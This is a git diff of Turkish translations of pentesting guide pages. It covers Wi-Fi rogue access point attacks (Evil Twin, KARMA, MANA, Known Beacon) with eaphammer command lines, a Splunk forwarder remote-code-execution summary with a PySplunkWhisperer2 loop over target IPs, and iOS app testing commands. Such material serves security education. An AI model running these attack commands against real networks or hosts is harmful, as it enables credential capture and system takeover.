Bu, `hostapd-wpe`'nin **RSA kullanarak anahtar değişimi** yapmasını sağlayacak, böylece daha sonra **sunucunun özel anahtarını bilerek** trafiği **şifreleyebilirsiniz**.
|
||||
**hostapd-wpe** _konfigürasyonunun_ içinde **dh_file** içeren satırı **yorumlayın** (`dh_file=/etc/hostapd-wpe/certs/dh`'den `#dh_file=/etc/hostapd-wpe/certs/dh`'ye)\
|
||||
Bu, `hostapd-wpe`'nin **RSA kullanarak anahtar değişimi** yapmasını sağlayacak, böylece **sunucunun özel anahtarını bilerek** trafiği daha sonra **şifreleyebilirsiniz**.
|
||||
|
||||
Şimdi, her zamanki gibi o değiştirilmiş konfigürasyonla **`hostapd-wpe`** kullanarak **Evil Twin**'i başlatın. Ayrıca, **Evil Twin saldırısını** gerçekleştiren **arayüzde** **`wireshark`**'ı başlatın.
|
||||
|
||||
Şimdi veya daha sonra (zaten bazı kimlik doğrulama girişimlerini yakaladığınızda) özel RSA anahtarını wireshark'a ekleyebilirsiniz: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
Yeni bir giriş ekleyin ve bu değerlerle formu doldurun: **IP adresi = herhangi biri** -- **Port = 0** -- **Protokol = veri** -- **Anahtar Dosyası** (**anahtar dosyanızı seçin**, sorun yaşamamak için **şifre korumalı olmayan** bir anahtar dosyası seçin).
|
||||
Yeni bir giriş ekleyin ve formu bu değerlerle doldurun: **IP adresi = herhangi biri** -- **Port = 0** -- **Protokol = veri** -- **Anahtar Dosyası** (**anahtar dosyanızı seçin**, sorun yaşamamak için **şifre korumalı olmayan** bir anahtar dosyası seçin).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -585,20 +585,20 @@ Ve yeni **"Şifrelenmiş TLS" sekmesine** bakın:
|
||||
|
||||
.png>)
|
||||
|
||||
## KARMA, MANA, Loud MANA ve Bilinen işaretler saldırısı
|
||||
## KARMA, MANA, Loud MANA ve Bilinen işaretçiler saldırısı
|
||||
|
||||
### ESSID ve MAC kara/beyaz listeleri
|
||||
|
||||
Farklı türdeki Medya Erişim Kontrol Filtre Listeleri (MFACL'ler) ve bunların sahte Erişim Noktası (AP) üzerindeki modları ve etkileri:
|
||||
Farklı türdeki Medya Erişim Kontrol Filtre Listeleri (MFACL'ler) ve bunların sahte Erişim Noktası (AP) üzerindeki davranışları üzerindeki etkileri:
|
||||
|
||||
1. **MAC tabanlı Beyaz Liste**:
|
||||
- Sahte AP, beyaz listede belirtilen cihazlardan gelen sorgu isteklerine yalnızca yanıt verecek, listede olmayan diğer tüm cihazlara görünmez kalacaktır.
|
||||
- Sahte AP, yalnızca beyaz listede belirtilen cihazlardan gelen probe isteklerine yanıt verecek, listede olmayan diğer tüm cihazlara görünmez kalacaktır.
|
||||
2. **MAC tabanlı Kara Liste**:
|
||||
- Sahte AP, kara listedeki cihazlardan gelen sorgu isteklerini görmezden gelecek, böylece sahte AP bu belirli cihazlara görünmez hale gelecektir.
|
||||
- Sahte AP, kara listedeki cihazlardan gelen probe isteklerini görmezden gelecek, bu da sahte AP'yi o belirli cihazlara görünmez kılacaktır.
|
||||
3. **SSID tabanlı Beyaz Liste**:
|
||||
- Sahte AP, yalnızca belirli ESSID'ler için sorgu isteklerine yanıt verecek, bu ESSID'leri içermeyen cihazlara görünmez olacaktır.
|
||||
- Sahte AP, yalnızca belirli ESSID'ler için gelen probe isteklerine yanıt verecek, bu da onu Tercih Edilen Ağ Listeleri (PNL'ler) o ESSID'leri içermeyen cihazlara görünmez kılacaktır.
|
||||
4. **SSID tabanlı Kara Liste**:
|
||||
- Sahte AP, kara listedeki belirli ESSID'ler için sorgu isteklerine yanıt vermeyecek, böylece bu belirli ağları arayan cihazlara görünmez hale gelecektir.
|
||||
- Sahte AP, kara listedeki belirli ESSID'ler için gelen probe isteklerine yanıt vermeyecek, bu da onu o belirli ağları arayan cihazlara görünmez kılacaktır.
|
||||
```bash
|
||||
# example EAPHammer MFACL file, wildcards can be used
|
||||
09:6a:06:c8:36:af
|
||||
@ -620,27 +620,27 @@ name3
|
||||
```
|
||||
### KARMA
|
||||
|
||||
Bu yöntem, **bir saldırganın, ağlara bağlanmaya çalışan cihazlardan gelen tüm probe isteklerine yanıt veren kötü niyetli bir erişim noktası (AP) oluşturmasına** olanak tanır. Bu teknik, **cihazları, saldırganın AP'sine bağlanmaya kandırarak** cihazların aradığı ağları taklit eder. Bir cihaz bu sahte AP'ye bir bağlantı isteği gönderdiğinde, bağlantıyı tamamlar ve cihazın yanlışlıkla saldırganın ağına bağlanmasına neden olur.
|
||||
Bu yöntem, **bir saldırganın, ağlara bağlanmaya çalışan cihazlardan gelen tüm probe isteklerine yanıt veren kötü niyetli bir erişim noktası (AP) oluşturmasına** olanak tanır. Bu teknik, **cihazları, aradıkları ağları taklit ederek saldırganın AP'sine bağlanmaya kandırır**. Bir cihaz bu sahte AP'ye bir bağlantı isteği gönderdiğinde, bağlantıyı tamamlar ve cihazın yanlışlıkla saldırganın ağına bağlanmasına neden olur.
|
||||
|
||||
### MANA
|
||||
|
||||
Daha sonra, **cihazlar istenmeyen ağ yanıtlarını görmezden gelmeye başladı**, bu da orijinal karma saldırısının etkinliğini azalttı. Ancak, Ian de Villiers ve Dominic White tarafından tanıtılan **MANA saldırısı** olarak bilinen yeni bir yöntem ortaya çıktı. Bu yöntem, sahte AP'nin **cihazların yayınladığı probe isteklerine yanıt vererek Tercih Edilen Ağ Listelerini (PNL) yakalamasını** içerir; bu yanıtlar, cihazlar tarafından daha önce talep edilen ağ adları (SSID'ler) ile yapılır. Bu sofistike saldırı, cihazların bildiği ağları hatırlama ve önceliklendirme şekillerini istismar ederek orijinal karma saldırısına karşı korumaları aşar.
|
||||
Daha sonra, **cihazlar sağlam olmayan ağ yanıtlarını görmezden gelmeye başladı**, bu da orijinal karma saldırısının etkinliğini azalttı. Ancak, Ian de Villiers ve Dominic White tarafından tanıtılan **MANA saldırısı** olarak bilinen yeni bir yöntem ortaya çıktı. Bu yöntem, sahte AP'nin **cihazların yayınladığı probe isteklerine yanıt vererek Tercih Edilen Ağ Listelerini (PNL) yakalamasını** içerir; bu yanıtlar, cihazlar tarafından daha önce sağlam olarak belirlenen ağ adları (SSID'ler) ile yapılır. Bu karmaşık saldırı, cihazların bildiği ağları hatırlama ve önceliklendirme şeklini istismar ederek orijinal karma saldırısına karşı korumaları aşar.
|
||||
|
||||
MANA saldırısı, cihazlardan gelen hem yönlendirilmiş hem de yayınlanmış probe isteklerini izleyerek çalışır. Yönlendirilmiş istekler için, cihazın MAC adresini ve talep edilen ağ adını kaydeder, bu bilgiyi bir listeye ekler. Bir yayın isteği alındığında, AP, cihazın listesindeki ağlardan herhangi biriyle eşleşen bilgilerle yanıt verir ve cihazı sahte AP'ye bağlanmaya teşvik eder.
|
||||
MANA saldırısı, cihazlardan gelen hem yönlendirilmiş hem de yayınlanmış probe isteklerini izleyerek çalışır. Yönlendirilmiş istekler için, cihazın MAC adresini ve istenen ağ adını kaydeder, bu bilgiyi bir listeye ekler. Bir yayın isteği alındığında, AP, cihazın listesindeki ağlardan herhangi biriyle eşleşen bilgilerle yanıt verir ve cihazı sahte AP'ye bağlanmaya teşvik eder.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Loud MANA
|
||||
|
||||
Bir **Loud MANA saldırısı**, cihazların yönlendirilmiş sorgulama kullanmadığı veya Tercih Edilen Ağ Listeleri (PNL) saldırgana bilinmediği durumlar için gelişmiş bir stratejidir. Bu, **aynı alandaki cihazların PNL'lerinde bazı ağ adlarını paylaşma olasılığının yüksek olduğu** prensibine dayanır. Seçici bir şekilde yanıt vermek yerine, bu saldırı gözlemlenen tüm cihazların birleştirilmiş PNL'lerinde bulunan her ağ adı (ESSID) için sorgu yanıtlarını yayınlar. Bu geniş yaklaşım, bir cihazın tanıdık bir ağı tanıma ve sahte Erişim Noktasına (AP) bağlanma girişiminde bulunma şansını artırır.
|
||||
Bir **Loud MANA saldırısı**, cihazların yönlendirilmiş sorgulama kullanmadığı veya Tercih Edilen Ağ Listeleri (PNL) saldırgana bilinmediği durumlar için gelişmiş bir stratejidir. Bu, **aynı alandaki cihazların PNL'lerinde bazı ağ adlarını paylaşma olasılığının yüksek olduğu** ilkesine dayanır. Seçici bir şekilde yanıt vermek yerine, bu saldırı gözlemlenen tüm cihazların birleştirilmiş PNL'lerinde bulunan her ağ adı (ESSID) için sorgu yanıtlarını yayınlar. Bu geniş yaklaşım, bir cihazın tanıdık bir ağı tanıma ve sahte Erişim Noktasına (AP) bağlanma girişiminde bulunma şansını artırır.
|
||||
```bash
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon attack
|
||||
### Bilinen Beacon saldırısı
|
||||
|
||||
**Loud MANA attack** yeterli olmadığında, **Known Beacon attack** başka bir yaklaşım sunar. Bu yöntem, **bir ağ adıyla yanıt veren bir AP'yi simüle ederek bağlantı sürecini brute-force ile zorlar, bir kelime listesinden türetilen potansiyel ESSID'lerin bir listesini döngüsel olarak kullanır**. Bu, birçok ağın varlığını simüle eder, umarak kurbanın PNL'sindeki bir ESSID ile eşleşmeyi, uydurma AP'ye bir bağlantı denemesi yapmayı teşvik eder. Saldırı, cihazları yakalamak için daha agresif bir deneme yapmak amacıyla `--loud` seçeneği ile birleştirilerek güçlendirilebilir.
|
||||
When the **Loud MANA attack** may not suffice, the **Bilinen Beacon saldırısı** presents another approach. This method **brute-forces the connection process by simulating an AP that responds to any network name, cycling through a list of potential ESSIDs** derived from a wordlist. This simulates the presence of numerous networks, hoping to match an ESSID within the victim's PNL, prompting a connection attempt to the fabricated AP. The attack can be amplified by combining it with the `--loud` option for a more aggressive attempt to ensnare devices.
|
||||
|
||||
Eaphammer, bu saldırıyı bir MANA saldırısı olarak uyguladı; burada bir listedeki tüm ESSID'ler kullanılır (bunu `--loud` ile birleştirerek Loud MANA + Known beacons saldırısı oluşturabilirsiniz):
|
||||
Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with `--loud` to create a Loud MANA + Bilinen beacons attack):
|
||||
```bash
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
@ -659,17 +659,17 @@ Eaphammer, bu saldırıyı bir MANA saldırısı olarak uyguladı; burada bir li
|
||||
|
||||
**Wi-Fi Direct**, cihazların geleneksel bir kablosuz erişim noktası olmadan Wi-Fi kullanarak doğrudan birbirleriyle bağlantı kurmalarını sağlayan bir protokoldür. Bu yetenek, yazıcılar ve televizyonlar gibi çeşitli Nesnelerin İnterneti (IoT) cihazlarına entegre edilmiştir ve doğrudan cihazdan cihaza iletişimi kolaylaştırır. Wi-Fi Direct'in dikkat çekici bir özelliği, bir cihazın bağlantıyı yönetmek için grup sahibi olarak bilinen bir erişim noktası rolünü üstlenmesidir.
|
||||
|
||||
Wi-Fi Direct bağlantıları için güvenlik, çeşitli güvenli eşleştirme yöntemlerini destekleyen **Wi-Fi Protected Setup (WPS)** aracılığıyla sağlanır. Bu yöntemler arasında:
|
||||
Wi-Fi Direct bağlantıları için güvenlik, birkaç güvenli eşleştirme yöntemini destekleyen **Wi-Fi Protected Setup (WPS)** aracılığıyla sağlanır:
|
||||
|
||||
- **Push-Button Configuration (PBC)**
|
||||
- **PIN girişi**
|
||||
- **Near-Field Communication (NFC)**
|
||||
|
||||
Bu yöntemler, özellikle PIN girişi, geleneksel Wi-Fi ağlarındaki WPS ile aynı güvenlik açıklarına maruz kalmaktadır ve benzer saldırı vektörlerinin hedefi haline gelmektedir.
|
||||
Bu yöntemler, özellikle PIN girişi, geleneksel Wi-Fi ağlarındaki WPS ile aynı zayıflıklara maruz kalmaktadır ve benzer saldırı vektörlerinin hedefi haline gelmektedir.
|
||||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
**EvilDirect Hijacking**, Wi-Fi Direct'e özgü bir saldırıdır. Evil Twin saldırısının konseptini yansıtır, ancak Wi-Fi Direct bağlantılarını hedef alır. Bu senaryoda, bir saldırgan meşru bir grup sahibini taklit ederek cihazları kötü niyetli bir varlığa bağlanmaya ikna etmeyi amaçlar. Bu yöntem, `airbase-ng` gibi araçlar kullanılarak, taklit edilen cihazın kanalını, ESSID'sini ve MAC adresini belirterek gerçekleştirilebilir:
|
||||
**EvilDirect Hijacking**, Wi-Fi Direct'e özgü bir saldırıdır. Evil Twin saldırısının konseptini yansıtır, ancak Wi-Fi Direct bağlantılarını hedef alır. Bu senaryoda, bir saldırgan, cihazları kötü niyetli bir varlığa bağlanmaya ikna etmek amacıyla meşru bir grup sahibini taklit eder. Bu yöntem, taklit edilen cihazın kanalını, ESSID'sini ve MAC adresini belirterek `airbase-ng` gibi araçlar kullanılarak gerçekleştirilebilir.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,32 +4,32 @@
|
||||
|
||||
Eğer bir makineyi **içten** veya **dıştan** **numaralandırıyorsanız** ve **Splunk çalışıyorsa** (port 8090), şanslıysanız herhangi bir **geçerli kimlik bilgisi** biliyorsanız, **Splunk hizmetini kötüye kullanarak** Splunk'ı çalıştıran kullanıcı olarak **bir shell** çalıştırabilirsiniz. Eğer root çalışıyorsa, yetkileri root'a yükseltebilirsiniz.
|
||||
|
||||
Ayrıca eğer **zaten root iseniz ve Splunk hizmeti yalnızca localhost'ta dinlemiyorsa**, Splunk hizmetinden **şifre** dosyasını **çalıp** şifreleri **kırabilir** veya **yeni** kimlik bilgileri ekleyebilirsiniz. Ve host üzerinde sürekliliği sürdürebilirsiniz.
|
||||
Ayrıca eğer **zaten root iseniz ve Splunk hizmeti yalnızca localhost'ta dinlemiyorsa**, Splunk hizmetinden **şifre** dosyasını **çalıp** şifreleri **kırabilir** veya **yeni** kimlik bilgileri ekleyebilirsiniz. Ve ana makinede sürekliliği sürdürebilirsiniz.
|
||||
|
||||
Aşağıdaki ilk resimde bir Splunkd web sayfasının nasıl göründüğünü görebilirsiniz.
|
||||
|
||||
## Splunk Universal Forwarder Agent İstismar Özeti
|
||||
|
||||
Daha fazla detay için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisine bakın. Bu sadece bir özet:
|
||||
Daha fazla detay için [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/) gönderisini kontrol edin. Bu sadece bir özet:
|
||||
|
||||
**İstismar Genel Görünümü:**
|
||||
Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine sahip saldırganların ajanı çalıştıran sistemlerde rastgele kod çalıştırmasına olanak tanır ve potansiyel olarak tüm bir ağı tehlikeye atabilir.
|
||||
Splunk Universal Forwarder Agent (UF) hedef alan bir istismar, ajan şifresine sahip saldırganların ajanı çalıştıran sistemlerde rastgele kod çalıştırmasına olanak tanır ve bu da tüm bir ağı tehlikeye atabilir.
|
||||
|
||||
**Ana Noktalar:**
|
||||
|
||||
- UF ajanı gelen bağlantıları veya kodun doğruluğunu doğrulamaz, bu da yetkisiz kod çalıştırmaya karşı savunmasız hale getirir.
|
||||
- Yaygın şifre edinme yöntemleri, bunları ağ dizinlerinde, dosya paylaşımlarında veya iç belgelerde bulmayı içerir.
|
||||
- Başarılı bir istismar, tehlikeye atılan hostlarda SYSTEM veya root düzeyinde erişim, veri sızdırma ve daha fazla ağ sızması ile sonuçlanabilir.
|
||||
- Başarılı bir istismar, tehlikeye atılan ana bilgisayarlarda SYSTEM veya root düzeyinde erişim, veri sızdırma ve daha fazla ağ sızması ile sonuçlanabilir.
|
||||
|
||||
**İstismar Uygulaması:**
|
||||
|
||||
1. Saldırgan UF ajan şifresini elde eder.
|
||||
2. Ajanlara komut veya betikler göndermek için Splunk API'sini kullanır.
|
||||
2. Ajanlara komutlar veya betikler göndermek için Splunk API'sini kullanır.
|
||||
3. Olası eylemler arasında dosya çıkarma, kullanıcı hesabı manipülasyonu ve sistemin tehlikeye atılması yer alır.
|
||||
|
||||
**Etkisi:**
|
||||
|
||||
- Her hostta SYSTEM/root düzeyinde izinlerle tam ağ tehlikesi.
|
||||
- Her ana bilgisayarda SYSTEM/root düzeyinde izinlerle tam ağ tehlikesi.
|
||||
- Tespiti önlemek için günlük kaydını devre dışı bırakma potansiyeli.
|
||||
- Arka kapılar veya fidye yazılımlarının kurulumu.
|
||||
|
||||
@ -39,12 +39,12 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
||||
```
|
||||
**Kullanılabilir kamu exploitleri:**
|
||||
|
||||
- https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
- https://www.exploit-db.com/exploits/46238
|
||||
- https://www.exploit-db.com/exploits/46487
|
||||
- [https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2)
|
||||
- [https://www.exploit-db.com/exploits/46238](https://www.exploit-db.com/exploits/46238)
|
||||
- [https://www.exploit-db.com/exploits/46487](https://www.exploit-db.com/exploits/46487)
|
||||
|
||||
## Splunk Sorgularını Kötüye Kullanma
|
||||
|
||||
**Daha fazla detay için [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis) gönderisini kontrol edin**
|
||||
**Daha fazla detay için [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis) gönderisini kontrol edin**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -26,7 +26,7 @@ Test sırasında **birçok işlem önerilecektir** (cihaza bağlanma, dosyaları
|
||||
basic-ios-testing-operations.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Aşağıdaki adımlar için **uygulama cihazda yüklü olmalıdır** ve uygulamanın **IPA dosyası** zaten alınmış olmalıdır.\
|
||||
> Bunu nasıl yapacağınızı öğrenmek için [Basic iOS Testing Operations](basic-ios-testing-operations.md) sayfasını okuyun.
|
||||
|
||||
@ -34,8 +34,8 @@ basic-ios-testing-operations.md
|
||||
|
||||
Bazı ilginç iOS - IPA dosyası decompiler'ları:
|
||||
|
||||
- https://github.com/LaurieWired/Malimite
|
||||
- https://ghidra-sre.org/
|
||||
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
|
||||
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
|
||||
|
||||
IPA dosyasına otomatik Statik Analiz yapmak için [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) aracını kullanmanız önerilir.
|
||||
|
||||
@ -47,7 +47,7 @@ IPA dosyasına otomatik Statik Analiz yapmak için [**MobSF**](https://github.co
|
||||
otool -hv <app-binary> | grep PIE # PIE bayrağını içermelidir
|
||||
```
|
||||
|
||||
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığında bir ‘canary’ değeri yerleştirilir ve işlev sona erdikten sonra tekrar doğrulanır.
|
||||
- **Stack Canaries**: Yığın bütünlüğünü doğrulamak için, bir işlev çağrılmadan önce yığının üzerine bir ‘canary’ değeri yerleştirilir ve işlev sona erdiğinde tekrar doğrulanır.
|
||||
|
||||
```bash
|
||||
otool -I -v <app-binary> | grep stack_chk # stack_chk_guard ve stack_chk_fail sembollerini içermelidir
|
||||
@ -137,7 +137,7 @@ grep -iER "_vsprintf"
|
||||
|
||||
[**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) tarafından gerçekleştirilen dinamik analizi kontrol edin. Farklı görünümler arasında gezinmeniz ve onlarla etkileşimde bulunmanız gerekecek, ancak diğer şeyleri yaparken birkaç sınıfı hooklayacak ve işiniz bittiğinde bir rapor hazırlayacaktır.
|
||||
|
||||
### Yüklenen Uygulamaların Listelenmesi
|
||||
### Yüklenen Uygulamaların Listesi
|
||||
|
||||
Yüklenen uygulamaların **bundle identifier**'ını belirlemek için `frida-ps -Uai` komutunu kullanın:
|
||||
```bash
|
||||
@ -152,9 +152,9 @@ PID Name Identifier
|
||||
- Camera com.apple.camera
|
||||
- iGoat-Swift OWASP.iGoat-Swift
|
||||
```
|
||||
### Temel Sayım ve Hooking
|
||||
### Temel Enumerasyon & Hooking
|
||||
|
||||
Uygulamanın **bileşenlerini saymayı** ve **objection ile yöntemleri ve sınıfları kolayca hooklamayı** öğrenin:
|
||||
Uygulamanın **bileşenlerini listelemeyi** ve **objection ile yöntemleri ve sınıfları kolayca hook etmeyi** öğrenin:
|
||||
|
||||
{{#ref}}
|
||||
ios-hooking-with-objection.md
|
||||
@ -162,23 +162,23 @@ ios-hooking-with-objection.md
|
||||
|
||||
### IPA Yapısı
|
||||
|
||||
Bir **IPA dosyasının** yapısı esasen bir **sıkıştırılmış paket** yapısıdır. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açabilirsiniz**. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
|
||||
Bir **IPA dosyasının** yapısı esasen bir **ziplenmiş paket** yapısına sahiptir. Uzantısını `.zip` olarak yeniden adlandırarak, içeriğini **açmak** mümkündür. Bu yapı içinde, bir **Bundle**, kurulum için hazır tamamen paketlenmiş bir uygulamayı temsil eder. İçinde, uygulamanın kaynaklarını kapsayan `<NAME>.app` adında bir dizin bulacaksınız.
|
||||
|
||||
- **`Info.plist`**: Bu dosya, uygulamanın belirli yapılandırma ayrıntılarını tutar.
|
||||
- **`_CodeSignature/`**: Bu dizin, bundle içindeki tüm dosyaların bütünlüğünü sağlamak için bir imza içeren bir plist dosyası içerir.
|
||||
- **`Assets.car`**: İkonlar gibi varlık dosyalarını depolayan sıkıştırılmış bir arşivdir.
|
||||
- **`Frameworks/`**: Bu klasör, `.dylib` veya `.framework` dosyaları şeklinde olabilen uygulamanın yerel kütüphanelerini barındırır.
|
||||
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve uygulamanıza tek bir cihazda geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
|
||||
- **`PlugIns/`**: Bu, uygulamaya eklemeler içerebilir, bunlar `.appex` dosyaları olarak bilinir, ancak her zaman mevcut olmayabilir. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Uygulamanızın kalıcı verilerini çevrimdışı kullanım için kaydetmek, geçici verileri önbelleğe almak ve tek bir cihazda uygulamanıza geri alma işlevselliği eklemek için kullanılır. Birden fazla cihazda verileri senkronize etmek için, Core Data otomatik olarak şemanızı bir CloudKit konteynerine yansıtır.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): `PkgInfo` dosyası, uygulamanızın veya bundle'ınızın türünü ve yaratıcısını belirtmenin alternatif bir yoludur.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Bu, belirli diller için kaynakları içeren dil paketleridir ve bir dil desteklenmediğinde varsayılan bir kaynak içerir.
|
||||
- **Güvenlik**: `_CodeSignature/` dizini, dijital imzalar aracılığıyla tüm paketlenmiş dosyaların bütünlüğünü doğrulayarak uygulamanın güvenliğinde kritik bir rol oynar.
|
||||
- **Varlık Yönetimi**: `Assets.car` dosyası, grafik varlıkları verimli bir şekilde yönetmek için sıkıştırma kullanır, bu da uygulama performansını optimize etmek ve genel boyutunu azaltmak için önemlidir.
|
||||
- **Frameworks ve PlugIns**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilerin yeniden kullanılabilir kod kütüphanelerini (`Frameworks/`) dahil etmelerine ve uygulama işlevselliğini genişletmelerine olanak tanır.
|
||||
- **Yerelleştirme**: Yapı, belirli dil paketleri için kaynaklar ekleyerek küresel uygulama erişimini kolaylaştıran birden fazla dili destekler.
|
||||
- **Frameworks ve PlugIns**: Bu dizinler, iOS uygulamalarının modülerliğini vurgular, geliştiricilerin yeniden kullanılabilir kod kütüphanelerini (`Frameworks/`) dahil etmelerine ve uygulama işlevselliğini genişletmelerine olanak tanır (`PlugIns/`).
|
||||
- **Yerelleştirme**: Yapı, belirli dil paketleri için kaynaklar ekleyerek küresel uygulama erişimini kolaylaştırarak birden fazla dili destekler.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
**Info.plist**, iOS uygulamaları için bir köşe taşı olarak hizmet eder ve **anahtar-değer** çiftleri biçiminde ana yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve frameworkler için de gereklidir. XML veya ikili formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri tutar. Mevcut anahtarların detaylı bir keşfi için [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) adresine başvurabilirsiniz.
|
||||
**Info.plist**, iOS uygulamaları için bir temel olarak hizmet eder ve **anahtar-değer** çiftleri biçiminde önemli yapılandırma verilerini kapsar. Bu dosya, yalnızca uygulamalar için değil, aynı zamanda içinde paketlenmiş uygulama uzantıları ve framework'ler için de gereklidir. XML veya ikili formatta yapılandırılmıştır ve uygulama izinlerinden güvenlik yapılandırmalarına kadar kritik bilgileri tutar. Mevcut anahtarların detaylı bir keşfi için [**Apple Developer Documentation**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc) adresine başvurabilirsiniz.
|
||||
|
||||
Bu dosya ile daha erişilebilir bir formatta çalışmak isteyenler için, XML dönüşümü macOS'ta (10.2 ve sonraki sürümlerde yerel olarak mevcut) `plutil` kullanılarak veya Linux'ta `plistutil` ile zahmetsizce gerçekleştirilebilir. Dönüşüm için komutlar aşağıdaki gibidir:
|
||||
|
||||
@ -197,14 +197,14 @@ $ grep -i <keyword> Info.plist
|
||||
```
|
||||
**Veri Yolları**
|
||||
|
||||
iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalara, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcı atanır.
|
||||
iOS ortamında, dizinler **sistem uygulamaları** ve **kullanıcı tarafından yüklenen uygulamalar** için özel olarak belirlenmiştir. Sistem uygulamaları `/Applications` dizininde bulunurken, kullanıcı tarafından yüklenen uygulamalar `/var/mobile/containers/Data/Application/` altında yer alır. Bu uygulamalar, dizin adlarının rastgeleliği nedeniyle bir uygulamanın klasörünü manuel olarak bulmayı zorlaştıran **128-bit UUID** olarak bilinen benzersiz bir tanımlayıcıya atanmıştır.
|
||||
|
||||
> [!WARNING]
|
||||
> iOS'taki uygulamalar sandbox'lanmış olmalıdır, bu nedenle her uygulamanın **`$HOME/Library/Containers`** içinde uygulamanın **`CFBundleIdentifier`** olarak adlandırılan bir klasörü de olacaktır.
|
||||
>
|
||||
> Ancak, her iki klasör (veri ve konteyner klasörleri) **`.com.apple.mobile_container_manager.metadata.plist`** dosyasına sahiptir ve bu dosya, `MCMetadataIdentifier` anahtarında her iki dosyayı bağlar.
|
||||
|
||||
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection aracı** faydalı bir komut sağlar, `env`. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
|
||||
Kullanıcı tarafından yüklenen bir uygulamanın kurulum dizinini keşfetmeyi kolaylaştırmak için, **objection tool** yararlı bir komut sağlar, `env`. Bu komut, söz konusu uygulama için ayrıntılı dizin bilgilerini ortaya çıkarır. Aşağıda bu komutun nasıl kullanılacağına dair bir örnek bulunmaktadır:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -228,15 +228,15 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
|
||||
- **AppName.app**
|
||||
- Bu, IPA'da daha önce görülen Uygulama Paketi olup, temel uygulama verilerini, statik içeriği ve uygulamanın derlenmiş ikili dosyasını içerir.
|
||||
- Bu dizin kullanıcılara görünür, ancak **kullanıcılar buna yazamaz**.
|
||||
- Bu dizin kullanıcılara görünür, ancak **kullanıcılar buraya yazamaz**.
|
||||
- Bu dizindeki içerik **yedeklenmez**.
|
||||
- Bu klasörün içeriği **kod imzasını doğrulamak** için kullanılır.
|
||||
|
||||
**Veri dizini:**
|
||||
|
||||
- **Documents/**
|
||||
- Tüm kullanıcı tarafından oluşturulan verileri içerir. Uygulama son kullanıcısı bu verilerin oluşturulmasını başlatır.
|
||||
- Kullanıcılara görünür ve **kullanıcılar buna yazabilir**.
